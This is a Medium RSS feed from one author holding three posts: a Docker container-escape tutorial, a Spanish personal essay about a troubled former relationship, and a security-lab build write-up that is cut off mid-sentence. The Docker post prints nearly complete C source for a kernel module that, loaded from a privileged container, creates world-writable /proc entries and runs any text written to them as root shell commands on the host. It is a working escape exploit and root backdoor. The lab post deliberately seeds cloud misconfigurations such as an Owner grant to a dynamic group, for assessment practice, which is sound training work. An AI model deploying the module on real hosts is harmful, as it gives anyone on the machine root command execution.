<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by byL0r3t on Medium]]></title>
        <description><![CDATA[Stories by byL0r3t on Medium]]></description>
        <link>https://medium.com/@byL0r3t?source=rss-5672eb3b9f8b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-8WgV5EeWwf_k0BkOCX_dg.gif</url>
            <title>Stories by byL0r3t on Medium</title>
            <link>https://medium.com/@byL0r3t?source=rss-5672eb3b9f8b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:36:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@byL0r3t/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Docker escape]]></title>
            <link>https://medium.com/@byL0r3t/docker-escape-2656eae890a4?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2656eae890a4</guid>
            <category><![CDATA[linux-kernel]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[kernel]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Thu, 03 Dec 2026 23:23:07 GMT</pubDate>
            <atom:updated>2026-12-03T23:23:07.531Z</atom:updated>
            <content:encoded><![CDATA[<p>A reality that some people mix is that a docker container is not the same as virtual machine, and it certainly does not have a similar architecture. A docker container does not have it’s own kernel; every syscall is performed into the host’s kernel and for a security context, that’s a very important concept that we need to understand, because a docker container is not inherently safe.</p><h3>Docker Architecture</h3><p>One of the reasons on why people might think that docker containers are inherently safe is because a container cannot inspect into other processes running on the host, however that capability is only thanks to <strong><em>Linux namespaces</em></strong>.</p><h4>Linux namespaces</h4><p>Docker uses Linux namespaces to create isolated environments for containers, making each container behave as if it were running on its own independent Linux system, even though multiple containers share the same host operating system kernel.</p><h4>The seven Linux namespaces</h4><ul><li>PID (Process ID): Isolates process IDs. A container sees its main process as PID 1, independently of the process IDs on the host.</li><li>NET (Network): Provides an independent network environment, including its own network interfaces, IP addresses, routing tables, and ports.</li><li>MNT (Mount): Isolates filesystem mount points, allowing each container to see its own filesystem directory tree.</li><li>UTS (Hostname): Gives each container its own hostname and NIS domain name.</li><li>IPC (Inter-Process Communication): Isolates shared memory, message queues, and other IPC mechanisms, preventing communication interference between containers.</li><li>USER (User): Isolates user and group IDs, allowing a container’s root user (UID 0) to map to an unprivileged user on the host.</li><li>CGROUP (Control Groups): Isolates the view of the control group hierarchy, allowing containers to see their own cgroup hierarchy.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2r0kGnBMKGzzXiLmvyWZw.png" /></figure><h3>Cgroups</h3><p><em>If namespaces determine what a process can see, Cgroups determine what a process can use.</em></p><p>CPU throttle works by configuring the Completely Fair Scheduler (CFS), which uses values like period and quota to determine the CPU limit on that container.</p><h3>Linux capabilities</h3><p>Linux provides over 40 linux capabilities for a docker container to perform a specific category of privileged operations.</p><p>For example:</p><ul><li><em>CAP_NET_ADMIN</em>: Allows network administration, such as modifying network interfaces and routing tables.</li><li><em>CAP_NET_RAW</em>: Allows creating raw and packet sockets.</li><li><em>CAP_SYS_PTRACE</em>: Allows tracing and inspecting other processes, subject to additional restrictions.</li><li><em>CAP_CHOWN</em>: Allows changing file ownership.</li><li><em>CAP_DAC_OVERRIDE</em>: Allows bypassing certain filesystem permission checks.</li><li><em>CAP_SYS_ADMIN</em>: Grants permission for a broad range of system administration operations.</li></ul><p><em>CAP_SYS_ADMIN</em> is such a powerful capability, as it allows to perform activites that would normally require root privileges. A container with this specific capability can load a kernel module into the host kernel, creating a big security gap into the host machine.</p><h3>The runtime stack</h3><pre>docker CLI<br>    │  (REST API / Unix socket)<br>    ▼<br>dockerd  (Docker Daemon)<br>    │<br>    ▼<br>containerd   — container lifecycle management (create, start, stop)<br>    │<br>    ▼<br>containerd-shim  — supervises the container process; survives containerd restarts<br>    │<br>    ▼<br>runc   (OCI Runtime) — the actual &quot;create a container&quot; implementation<br>    │  (sets up namespaces, cgroups, mounts, capabilities, seccomp, AppArmor)<br>    ▼<br>Linux Kernel — enforces all of the above</pre><p>Component definition:</p><ul><li>Docker CLI: The command-line interface developers use to interact with the Docker Daemon. It allows users to issue commands like docker run, docker build, and docker pull to manage containers and images.</li><li>Docker Images: Read-only templates used to create containers. Images are built from Dockerfiles and can be stored in a Docker registry.</li><li>Docker Containers: Instances of Docker images that are isolated and have their own file system, processes, and network.</li><li>Volumes: Used to persist data generated by and used by Docker containers.</li><li>Networks: Allow containers to communicate and interact with each other and external systems while being isolated.</li><li>Docker Registry: A place to store Docker images where you can push and pull images. Docker Hub is the most commonly used public registry, but you can also have private registries.</li><li>Dockerfile: A script containing instructions to build a Docker image.</li></ul><h3>The default safety net</h3><p>When you run <em>docker run hello-world</em> with no flags, five independent kernel mechanisms are active simultaneously:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8CjyYKDMfUMKbB7VXtDh_w.jpeg" /></figure><h3>The weakness</h3><p>Docker has the option to create and run a privileged container with the flag“ — privileged”. By default, Docker containers operate with restricted permissions to provide isolation and improve security. However, when the “— priviliged” flag is enabled, these restrictions are significantly relaxed. The container receives access to all Linux capabilities, can access host devices, and has a much broader ability to interact with the host system.</p><p>Without the “— privileged” flag, you’re blocked by three independent layers simultaneously:</p><p><strong>Capabilities</strong> — CAP_SYS_MODULE is dropped, so the kernel will reject init_module() / finit_module() / delete_module() with EPERM before they even execute.<br><strong>Seccomp </strong>— the default profile returns ENOSYS for all three syscalls, so even if the capability were somehow present, the syscall never reaches the kernel.<br><strong>AppArmor (docker-default) </strong>— denies module loading at the MAC level, a third independent check.</p><h3>Code walkthrough</h3><p>Let’s now go through the code for a small exploit that will abuse the “ — privileged” capability to perform remote code execution into the host’s system, escaping the docker container.</p><p><strong>Libraries</strong></p><p>In this code we will be using the following libraries:</p><pre>// linux/init.h provides the module initialization and clean up.<br>// Important macros:<br>// module_init(): Defines the initialization function.<br>// module_exit(): Defines the cleanup function.<br>// __init: Marks code used during initialization.<br>// __exit: Marks code used during module removal.<br>#include &lt;linux/init.h&gt; <br>// linux/module.h provides definitions needed to develop loadable kernel modules.<br>// Important macros:<br>// MODULE_LICENSE(): Defines the module&#39;s license.<br>// MODULE_AUTHOR(): Defines the author.<br>// MODULE_DESCRIPTION(): Describes the module.<br>// MODULE_VERSION(): Specifies its version.<br>#include &lt;linux/module.h&gt;<br>// linux/kernel.h provides various kernel utilities and definitions.<br>// Onoe of the most common is printk()<br>#include &lt;linux/kernel.h&gt;<br>// linux/prov_fs.h allows a kernel module to create, manage,<br>// and remove entries inside the /proc directory<br>// Important functions:<br>// proc_create(): Creates an entry in /proc.<br>// proc_remove(): Removes an entry.<br>// proc_mkdir(): Creates a directory in /proc.<br>#include &lt;linux/proc_fs.h&gt;<br>// linux/syscalls.h provides definitions and declarations related to Linux syscalls.<br>// This header is not intended to be a general-purpose interface for calling system calls from a kernel module. Kernel modules should normally use appropriate kernel APIs instead of trying to invoke system calls directly.<br>#include &lt;linux/syscalls.h&gt;<br>// linux/umh.h<br>// This header provides functionality that allows the Linux kernel<br>// to execute programs in the user space.<br>// call_usermodehelper(): Requests execution of a user-space program from kernel space<br>#include &lt;linux/umh.h&gt;</pre><p><strong>Creating the proc structures</strong></p><p>In this code we are intended to create a communication between user space, the kernel module and a user-space shell. So the <em>proc_dir_entry</em> represents an entry in the <em>/proc</em> virtual filesystem</p><pre>MODULE_LICENSE(&quot;GPL&quot;);<br>MODULE_AUTHOR(&quot;byL0r3t&quot;);<br>MODULE_VERSION(&quot;0.01&quot;);<br><br><br>struct proc_dir_entry *proc_file_entry_escape;<br>struct proc_dir_entry *proc_file_entry_output;</pre><p>This means that the structure will represent as follows: <strong><em>/proc/escape, /proc/output.</em></strong></p><p><strong>Handle writing to /proc/escape</strong></p><p>The following function will handle the writing to /proc/escape:</p><pre>ssize_t escape_write(<br>  struct file *file, // The file being written to<br>  const char *buf, // The command supplied by the user<br>  size_t len, // The number of bytes received<br>  loff_t *offset // The current file offset<br>)</pre><p>For example the kernel invokes the <em>escape_write</em> function when a user executes:</p><pre>echo &quot;whoami&quot; &gt; /proc/escape</pre><p>The goal he is to take the user provided data and copy it into kernel memory. The variable <strong><em>buf </em></strong>will point to user-space memory, wheareas the kernel module operates in kernel space.</p><p>Before continuing, let’s state how will the exploit work:</p><p>1-. User writes to /proc/escape “whoami”.</p><p>2-. Kernel module constructs the shell command “whoami &gt; /proc/output”</p><p>3-. User Mode helper launches “/bin/sh” and the shell executes the command.</p><p>4-. Output is redirected to “/proc/output”. Intended to make the command output accessible.</p><h3>The function’s <em>escape_write </em>definition:</h3><pre>{<br>  pr_info(&quot;escape: escape_write entered, len=%zu\n&quot;, len);<br>  int ret;<br>  char *kbuf = NULL;<br>  long error;<br>  char *suffix = &quot; &gt; /proc/output&quot;;<br>  char *command;<br>  <br>  // This is where the function copies the user-provided data into kernel memory<br>  kbuf = kzalloc(len, GFP_KERNEL);<br>  error = copy_from_user(kbuf, buf, len-1);<br>  if (error)<br>       return -1;<br>       <br>   argv[0] = &quot;/bin/sh&quot;;<br>   argv[1] = &quot;-c&quot;;<br>   argv[2] = kzalloc(len+16, GFP_KERNEL);<br>         <br>  strncpy(argv[2], kbuf, len-1);        <br>  strcat(argv[2], suffix);<br>          <br>  printk(KERN_DEBUG &quot;escape: executing %s %s %s\n&quot;, argv[0], argv[1], argv[2]);        <br>  // This function executes the user-space program from the linux kernel module.<br>  // This function uses the call_usermodehelper() to execute the command.<br>  ret = handle_cmd();<br>          <br>  kfree(kbuf);<br>  kfree(command);        <br>  return len;<br>}</pre><p>Helper function, I won’t explain a lot of this one, because it is pretty straight forward:</p><pre>char *argv[3];<br>char *envp[3];<br><br>char *cmd_output = NULL;<br>int cmd_output_len = 0;<br><br>/*<br> * Helper function to call call_usermodehelper() with the global argv and envp<br> * variables<br> */<br>int handle_cmd(void){<br>        int ret;<br>        /*<br>     * Check that we haven&#39;t been called before a command is set<br>     */<br><br>        if (argv[0] == NULL)<br>                return 0;<br>        /*<br>     * Execute the command in argv[]<br>     */<br>        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);<br>        return ret;<br>}<br><br></pre><h3>The function output_write definition:</h3><p>This function receives data written to <em>/proc/output</em> and stores it in the kernel buffer <em>cmd_output</em>. This means that it handles ouput from the user-space program.</p><p>First, it checks if there’s already memory on that buffer.</p><pre>ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)<br>{<br>  if (cmd_output_len != 0) {<br>    // If there&#39;s already memory in it, the kfree() frees that memory.<br>    kfree(cmd_output);<br>}</pre><p>After this, we allocate a kernel buffer large enough to hold the data:</p><ul><li><em>len</em>: Number of bytes to allocate.</li><li><em>GFP_KERNEL</em>: Memory allocation flag used for normal kernel allocations.</li></ul><pre>// Allocate cmd_output with size len (from user)<br>        cmd_output = kzalloc(len, GFP_KERNEL);<br>        <br>        if (!cmd_output) {<br>                pr_err(&quot;output_write: allocation failed\n&quot;);<br>                return -ENOMEM;<br>        }<br>        // Copy buffer from userpace into cmd_output<br>        error = copy_from_user(cmd_output, buf, len);<br>        pr_info(&quot;output_write: uncopied bytes=%ld\n&quot;, error);<br>        if (error)<br>                return -1;<br><br>        // Update cmd_output_len to the size of the buffer from userspace<br>        cmd_output_len = len;<br>        return len;</pre><h3>The function output_read definition:</h3><p>This function allows a user-space application to retrieve that stored output. This means that it gets called when a user-space application tries to read from <em>/proc/output</em>. An example of this is:</p><pre>cat /proc/output</pre><p>So the function definition is the following:</p><pre>ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset) {<br>    int ret;<br>    char *kbuf = NULL;<br>    long error;<br>    static int finished = 0;</pre><ul><li><em>finished</em>: A static variable that remembers whether the function has already returned the output.</li></ul><p>This allocates a kernel buffer with enough memory to hold <em>cmd_output_len</em>.</p><p>If finished is equal to 1, the function assumes that the output has already been returned. After this:</p><ol><li>Resets finished to 0.</li><li>Sets ret to 0.</li><li>Jumps to the out label.</li></ol><p>Why return zero?</p><p>In Linux, a return value of 0 from a read handler indicates EOF (End Of File). In other words, it tells the reading process that there’s no more data to read.</p><pre>/*<br>     * Allocate a new kernel buffer and copy into our new kernel buffer<br>     * so we don&#39;t touch cmd_output unnecessarily<br>     */<br>    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);<br>    // We want to work with a temporary copy rather than directly accessing the global cmd_output buffer.<br>    strncpy(kbuf, cmd_output, cmd_output_len);<br><br>    /*<br>     * Copy the kernel buffer back to userspace<br>     * If we&#39;re done, then we return 0 to indicate the userland<br>     * process to stop reading.<br>     */<br>    if ( finished )<br>    {<br>        /*<br>         * No more bytes to return, so tell userland we&#39;re done<br>         * by returning 0<br>         */<br>        finished = 0;<br>        ret = 0;<br>        goto out;<br>    }<br>    else<br>    {<br>        /*<br>         * Copy the kernel buffer back to userspace and return the length<br>         */<br>        finished = 1;<br>        error = copy_to_user(buf, kbuf, cmd_output_len);<br>        if(error)<br>            return -1;<br>        ret = cmd_output_len;<br>        goto out;</pre><p>Finally, this section defines which functions Linux should call, creates the proc files when the module loads, and removes them when the module unloads.</p><pre>static const struct proc_ops proc_file_fops_escape = {<br>        .proc_write = escape_write,<br>};</pre><p>Now the second one connects /proc/output to two functions:</p><pre>static const struct proc_ops proc_file_fops_output = {<br>        .proc_read = output_read,<br>        .proc_write = output_write,<br>};</pre><p>This is how Linux knows which function to execute when someone interacts with your proc files.</p><h3>Loading the module</h3><p>As shown below, we create both proc entries on the init function that loads the module.</p><pre>// This function gets called when we load the module<br>static int __init escape_init(void)<br>{<br>        printk(KERN_INFO &quot;escape: loaded\n&quot;);<br><br>        // Install the proc file with permisions 0666 (so we can read/write to it)<br>        proc_file_entry_escape = proc_create(&quot;escape&quot;, 0666, NULL, &amp;proc_file_fops_escape);<br><br>        if (!proc_file_entry_escape) {<br>                pr_err(&quot;escape: failed to create /proc/escape\n&quot;);<br>                return -ENOMEM;<br>        }<br><br>        proc_file_entry_output = proc_create(&quot;output&quot;, 0666, NULL, &amp;proc_file_fops_output);<br>        if (!proc_file_entry_output) {<br>        pr_err(&quot;escape: failed to create /proc/output\n&quot;);<br>        proc_remove(proc_file_entry_escape);<br>        proc_file_entry_escape = NULL;<br>        return -ENOMEM;<br>    }<br><br>    pr_info(&quot;escape: proc entries created successfully\n&quot;);<br><br>        // Check it didn&#39;t fail<br>        if( (proc_file_entry_escape == NULL) || (proc_file_entry_output == NULL) )<br>                return -ENOMEM;<br>        return 0;<br>}</pre><h3>Exiting the module</h3><pre>// This function gets called when we unload the moduleeeee<br>//<br>static void __exit escape_exit(void)<br>{<br>        // Free the cmd_output buffer and delete the proc entries<br>        kfree(cmd_output);<br>        remove_proc_entry(&quot;escape&quot;, NULL);<br>        remove_proc_entry(&quot;output&quot;, NULL);<br>        printk(KERN_INFO &quot;escape: unloaded\n&quot;);<br>}<br><br>// Declare the init and exit functions<br>module_init(escape_init);<br>module_exit(escape_exit);</pre><h3>Let’s run this bad boy!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vAiimaP6cQmTTydtQX_FJA.png" /></figure><p>Loading the kernel module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uG28UoiyllI8RB_k0GQgrg.png" /></figure><h3><strong>Conclusion</strong></h3><p>Now this kernel module is noisy, requires of privileged admin in docker, requires library installation. It’s honestly not the best for engagement use, however it’s a good example to start learning linux kernel development.</p><h3>References</h3><ul><li><a href="https://dev.to/smtahosin/docker-containers-arent-virtual-machines-how-namespaces-cgroups-and-overlayfs-actually-work-4nkb">Docker Containers Aren&#39;t Virtual Machines: How Namespaces, cgroups, and OverlayFS Actually Work Under the Hood</a></li><li><a href="https://cybercloud.guru/product-security/container-security/docker-container-isolation-architecture/#2-control-groups-cgroups-resource-limits-not-access-control">Docker Isolation Architecture - CyberCloud Guru</a></li></ul><p><a href="https://tbhaxor.com/container-breakout-part-2/">https://tbhaxor.com/container-breakout-part-2/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2656eae890a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escrito sobre mi viejo amor]]></title>
            <link>https://medium.com/@byL0r3t/escrito-sobre-mi-viejo-amor-78745291bba0?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/78745291bba0</guid>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Wed, 25 Nov 2026 02:21:19 GMT</pubDate>
            <atom:updated>2026-11-25T02:21:19.262Z</atom:updated>
            <content:encoded><![CDATA[<p>En la niebla de mi caótica ciudad recordé mi época de estudiante en un hermoso pueblo alejado de toda civilización. Rememoré esos bellos momentos con amistades genuinas, cuyas vidas también eran atormentadas por diferentes motivos, aunque todos compartíamos esta profunda sensación de soledad y desconexión al hermoso Edén que se nos presentaba.</p><p>En ese pueblo dejé mis amistades, dejé mis tristezas, dejé un amor que no funcionaba. Un amor que ni siquiera estaba en aquel pueblo, pues me esperaba aquí, en esta caótica ciudad donde ahora escribo estas memorias.</p><p>Para encontrar el sentido recóndito de lo funesto de mi viejo amor habría que remontarse mucho tiempo atrás. Años donde era parte de un hermoso grupo estudiantil que florecía como una propuesta para cambiar la percepción de la ciberseguridad en la juventud, donde se organizaban pláticas profesionales y concursos retadores.</p><p>Todo eso conllevaba una enrome organización de un grupo de veinte chicos, donde yo formaba parte, al igual que ella. La amistad se dio natural con pláticas interminables, risas sin descanso y un instinto escondido asociado a la pasión.</p><p>Desde los inicios mi viejo amor tuvo intenciones de tener algo más que una amistad. Ella lo declaraba, nuestras amistades en común lo declaraban y mientras tanto, me rehusaba en adentrarme en aquella travesía.</p><p>Mi alma estaba visiblemente ansiosa por entregarse a alguien, pero una intución maligna; o sabia, me impedía dar el paso. Era como si la locura y la aberración pudieran apreciarse desde lejos en esa persona, como percibir cierto malestar, cierto horror que aquella chica vivía cotidianamente. Una inestabilidad que se sentía en su manera de hablar y en las cosas de las que hablaba. Con reflexiones sumamente materialistas y presunciosas que en cuestión de minutos se tornaban en confesiones terroríficas que oscilaban entre lo decididamente no humano y lo deshonrosamente humano.</p><p>Sin embargo, como para justificar mi reclusión en el manicomnio, decidí adentrarme en su vida.</p><p>Sería inutil tratar de relatar los primeros meses con ella, pues el más espantoso y perverso horror, la más extraordinaria repugnancia y pestilencia moral emanaban de las primeras noches en vela donde todos los vicios carcomían poco a poco la dignidad humana y el respeto a la misma.</p><p>No sabré decir cuando fue la primera vez que sucedió. No lo recuerdo. Pero la primera vez que los vi fue en alguna de las tantas fiestas que ella solía frecuentar. Al principio creí que eran otros más de esos seres cuyo propósito en esta vida es incierto, gente sin objetivos ni metas, gente sumamente insípida cuyo pensamiento crítico se reducía al de una nuez. !Dios! Jamás sospeché de ellos, fuera de su absoluta imbecilidad.</p><p>Pero una noche fría ella me lo contó todo… ¡Lloré como un crío! Desde entonces, en cada fiesta, a pesar de yo no estar presente, algo infernal flotaba en el ambiente. Las puertas entreabiertas de las habitaciones emanaban un olor funesto a cuerpos sudados y cerveza seca. En las sonrisas audaces de aquellos hombres prevalecía un retrato diabólico difícil de explicar, sus pupilas dilatas, una mandíbula incontrolable, un aliento completamente mortífero y un sudor que goteaba con insistencia al suelo pegajoso.</p><p>Es un error creer que el terror se asocia directamente con la oscuridad, silencio y soledad, pues yo lo sentí cuando aquellos cuerpos pesados con olor a cigarro y perfume dulce la abrazaban con un saludo traicionero, ocultando las más negras de las intenciones. Recuerdo que mi instinto más natural me exigía huir de ahí, salir de aquel lugar con todos mis seres queridos tomándonos de la mano. Pero ella era libre, jamás podría controlarla, aquello iría en contra de mis principios y aquel Judas de la perversión parecía entenderlo bien, como una estrategia que le habría funcionado a la perfección.</p><p>Solo la poesía o la locura podrían reproducir el miedo y coraje que sentía en esos momentos a altas horas de la madrugada, esperando un mensaje suyo, esperando una confirmación de que ella estaba bien, de que su regreso a su morada había sido seguro. Me había vuelto un tipo completamente vulnerable a las decisiones irracionales de mi viejo amor. Pero no la culpo.</p><p>A pesar de ella haberse vuelto un devoto de las más frívoles imposturas, aquellas fiestas y sus amistades parecían estar atrpados en algún tipo de arte de los albores de la civilización, encerrados en una jaula de oro donde se manifestaban negras galerías de horror donde su infancia volvía a cobrar vida. Donde en los rostros de aquellos hombres perturbados mentalmente, bajo toda esa montaña de narrativas que usaba como escudo, veía a su abuelo y se veía a ella misma al mismo tiempo.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78745291bba0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Northlight: A Multi-Cloud Identity Security Lab]]></title>
            <link>https://medium.com/@byL0r3t/building-northlight-a-multi-cloud-identity-security-lab-0444828992a0?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0444828992a0</guid>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 18:47:39 GMT</pubDate>
            <atom:updated>2026-10-04T18:47:39.969Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why I built this</h3><p>After finishing the Meridian &amp; Cole Accounting lab (a single-tenant hybrid Entra environment), I wanted a scenario closer to what a lot of real B2B SaaS companies actually look like: AWS-primary for infrastructure, Entra ID for corporate identity, and — critically — a third-party IdP layer (Okta) bridging the two. Most write-ups I’d found treated “Okta + Entra” as interchangeable, or assumed Okta was the source of truth. I wanted to build the more common enterprise pattern instead: <strong>Entra stays the directory of record, Okta is the delegated SSO layer sitting in front of it</strong> — and then deliberately seed the kind of identity and cloud misconfigurations a real assessment would need to find.</p><p>Northlight is fictional: a 65-person B2B SaaS company (project management tooling), Engineering-led, no dedicated security hire yet. Three AWS accounts (nl-prod, nl-staging, nl-dev) under one Organization, Entra ID/M365 for corporate identity, and 18 seeded findings spanning IAM hygiene, privilege escalation, cross-account trust, and a genuinely easy-to-miss cross-cloud grant on the Azure side.</p><p>This first part covers Phases 0–2: the planning decisions, standing up the identity foundations, and getting Entra and Okta talking to each other via OIDC. Part 2 will cover the AWS seeding — IAM users, privilege escalation paths, the public bucket and RDS instance — and Part 3 will cover running Prowler, Cloudsplaining, PMapper, ScoutSuite and AzureHound against it all.</p><h3>Phase 0: Deciding the architecture before touching anything</h3><p>The first real decision wasn’t technical — it was architectural, and it’s one I think a lot of people get wrong when they hear “Okta and Entra together.” There are two shapes this can take:</p><ul><li><strong>Option A (what I built):</strong> Entra remains the directory of record. Okta sits in front of it purely as an app-SSO broker — it doesn’t own passwords, doesn’t own the user directory, and doesn’t independently enforce MFA. It trusts Entra’s tokens and decides which <em>apps</em> a linked user can reach.</li><li><strong>Option B:</strong> Okta becomes the identity provider <em>for</em> Entra itself (via WS-Federation), taking over authentication for the whole M365 domain. This is a heavier, riskier lift — federation applies to an entire domain at once, and it contradicts a scenario where “Entra ID/M365” is explicitly described as the corporate identity system.</li></ul><p>I went with Option A. It’s also the more common pattern in real deployments where a company already has Entra as their M365/corporate identity system and adds Okta later for broader SaaS app management.</p><p><strong>Other Phase 0 decisions worth naming explicitly, since they shaped everything downstream:</strong></p><ul><li><strong>AWS stays unfederated until the remediation phase.</strong> One of the 18 findings (no federation between the IdP layer and AWS) only exists as a finding <em>because</em> I deliberately didn’t set up IAM Identity Center. Federating AWS early would have quietly erased that finding before I ever got to seed it.</li><li><strong>Okta user scope.</strong> The Integrator Free Plan caps you at 10 active users and deactivates after ~90 days of no sign-in. Rather than a 30-day trial that would expire mid-build, I used the free plan with a representative subset of the 65 — enough people to demonstrate every pattern (an exec, engineers with different privilege levels, a leaver, a Sales user) without needing all 65 live in Okta.</li><li><strong>Containment rules for the deliberately exposed resources.</strong> The scenario calls for a public S3 bucket, an internet-open RDS instance, and hardcoded credentials in a CI job. All three are <em>real</em> exposure once built — synthetic data only, short windows, and no leaving them running unattended overnight.</li></ul><h3>Phase 1: Foundations</h3><h4>Building the 65 users and the department structure</h4><p>Northlight’s headcount: Engineering 28, Sales 14, Customer Success 10, Ops/Finance 8, Leadership 5. I generated these via the Microsoft 365 bulk-import CSV template, with realistic department-appropriate job titles (Director of Engineering, Staff/Senior/regular Software Engineers, DevOps and Platform roles for Engineering; Account Executives and SDRs for Sales, and so on) — deliberately no security-specific title anywhere, matching “no dedicated security hire yet.”</p><p>I also added two people <em>outside</em> the 65: dmitri.vance and paige.holloway, framed as engineers who left the company 4+ months ago. These exist specifically to seed the offboarding-gap finding later — the story only works if their Entra accounts get blocked while their eventual AWS IAM users stay live.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*vEHBXhJ3VmqGMqrWOwfUzw.png" /></figure><p>Blocking sign-in for a departed employee is straightforward in the M365 admin center — open the user, click <strong>Block sign-in</strong>. Worth noting exactly what this does and doesn’t do, since it matters for a later finding: it stops new sign-ins immediately and forces existing sessions to end within 60 minutes, but it doesn’t delete any data and doesn’t touch anything outside Microsoft 365 — AWS access, if any existed, would be completely unaffected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bXtuxoKTbr9qYZLtfoN3Hw.png" /></figure><h4>The NL-EngAll dynamic group — and why dynamic matters</h4><p>For the Azure cross-cloud finding (more on that below), I needed a group that automatically included every current and future engineer, without anyone having to remember to add new hires. That’s what a <strong>dynamic security group</strong> gives you in Entra — group membership computed continuously by a query against user attributes, rather than manually maintained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHxefW6KLG6wMbhdlsAK1Q.png" /></figure><p>This single line — (user.department -eq &quot;Engineering&quot;) — is what makes the later finding realistic rather than contrived: nobody explicitly granted each of 30 individual engineers access to anything. They inherited it silently, the moment their department field said &quot;Engineering,&quot; including engineers who join <em>after</em> the original grant was made and the original context is forgotten.</p><h4>The abandoned pilot subscription — Finding 13</h4><p>Before AWS became the primary cloud, Northlight apparently ran a short pilot on Azure. I recreated that with an essentially empty subscription named nl-pilot-2022, and granted NL-EngAll the <strong>Owner</strong> role at the subscription scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zh07KX8vLrNlyDi2hUw02Q.png" /></figure><p><strong>Why this finding is worth explaining carefully, not just listing:</strong> Owner is Azure’s most privileged built-in role — full resource control <em>plus</em> the ability to grant role assignments to others, meaning it’s not just over-privileged, it’s a role that can further escalate other principals. And because the group is dynamic, this isn’t a one-time grant to a fixed list of people from 2022 — it’s a <strong>standing, silently-expanding</strong> grant to every engineer Northlight has ever hired or will ever hire, tied to a subscription that hasn’t been touched since. That’s the difference between “someone made a mistake once” and “nobody has an ongoing process to catch this.”</p><p>A security review scoped only to “AWS, since that’s primary” would completely miss this. That’s arguably the point of Finding 13 more than the specific misconfiguration itself.</p><h4>Setting up the AWS side: mailboxes and account creation</h4><p>Each AWS account you create through Organizations needs a unique email address — and that address becomes the account’s root-user identity. Rather than using personal or ad-hoc addresses, I created shared mailboxes on the same domain, one per account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SG75zllC08xq536dRvBGeA.png" /></figure><p>Shared mailboxes don’t need a license, and forwarding them to your own inbox (rather than fighting Outlook’s delegated-access permission propagation, which I learned the hard way can take longer than expected) is the simplest way to actually receive AWS’s account-verification and password-reset emails.</p><p>With the mailboxes ready, I created the three member accounts inside the Organization:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*so7MjzskVbv3T1mvqdv_Bw.png" /></figure><p>Worth calling out: the <strong>IAM role name field</strong> — OrganizationAccountAccessRole — isn&#39;t cosmetic. AWS automatically provisions this role in every member account it creates, pre-trusted back to the management account. That&#39;s what makes the next step possible without ever setting a password on the member accounts themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsoehEui2avetUHMO_kBww.png" /></figure><p>Switching AWS role to the recently created accounts to test access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wy_tpGs1fIntWZmn1A_K-g.png" /></figure><p>This is the pattern I used for everything AWS-side going forward: sign in once, as an IAM admin user in the management account (never as root, outside of one deliberate exception later), then Switch Role into whichever member account the current task needs. It’s worth explicitly naming this as a security best practice in its own right — centralized human authentication, temporary role-based access into the accounts that actually hold resources — even while most of what gets <em>built</em> inside those accounts is deliberately the opposite.</p><pre>$lab = &quot;callum.osei&quot;,&quot;tomas.tanaka&quot;,&quot;anika.marchetti&quot;,&quot;idris.bergstrom&quot;,&quot;grace.santoro&quot;,<br>       &quot;layla.beaumont&quot;,&quot;lena.reyes&quot;,&quot;dmitri.vance&quot;,&quot;paige.holloway&quot;<br><br>foreach ($n in $lab) {                                                                <br>&gt;&gt;   $upn = &quot;$n@byl0r3t.com&quot;<br>&gt;&gt;   @{ mail = $upn } | ConvertTo-Json -Compress | Set-Content body.json<br>&gt;&gt;   az rest --method PATCH --url &quot;https://graph.microsoft.com/v1.0/users/$upn&quot; --body &quot;@body.json&quot;<br>&gt;&gt; }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzLCoJwqbrrcZs-OuA7Wcg.png" /></figure><h3>Phase 2: Federating Okta to Entra</h3><p>This is the technical core of Part 1, and the part 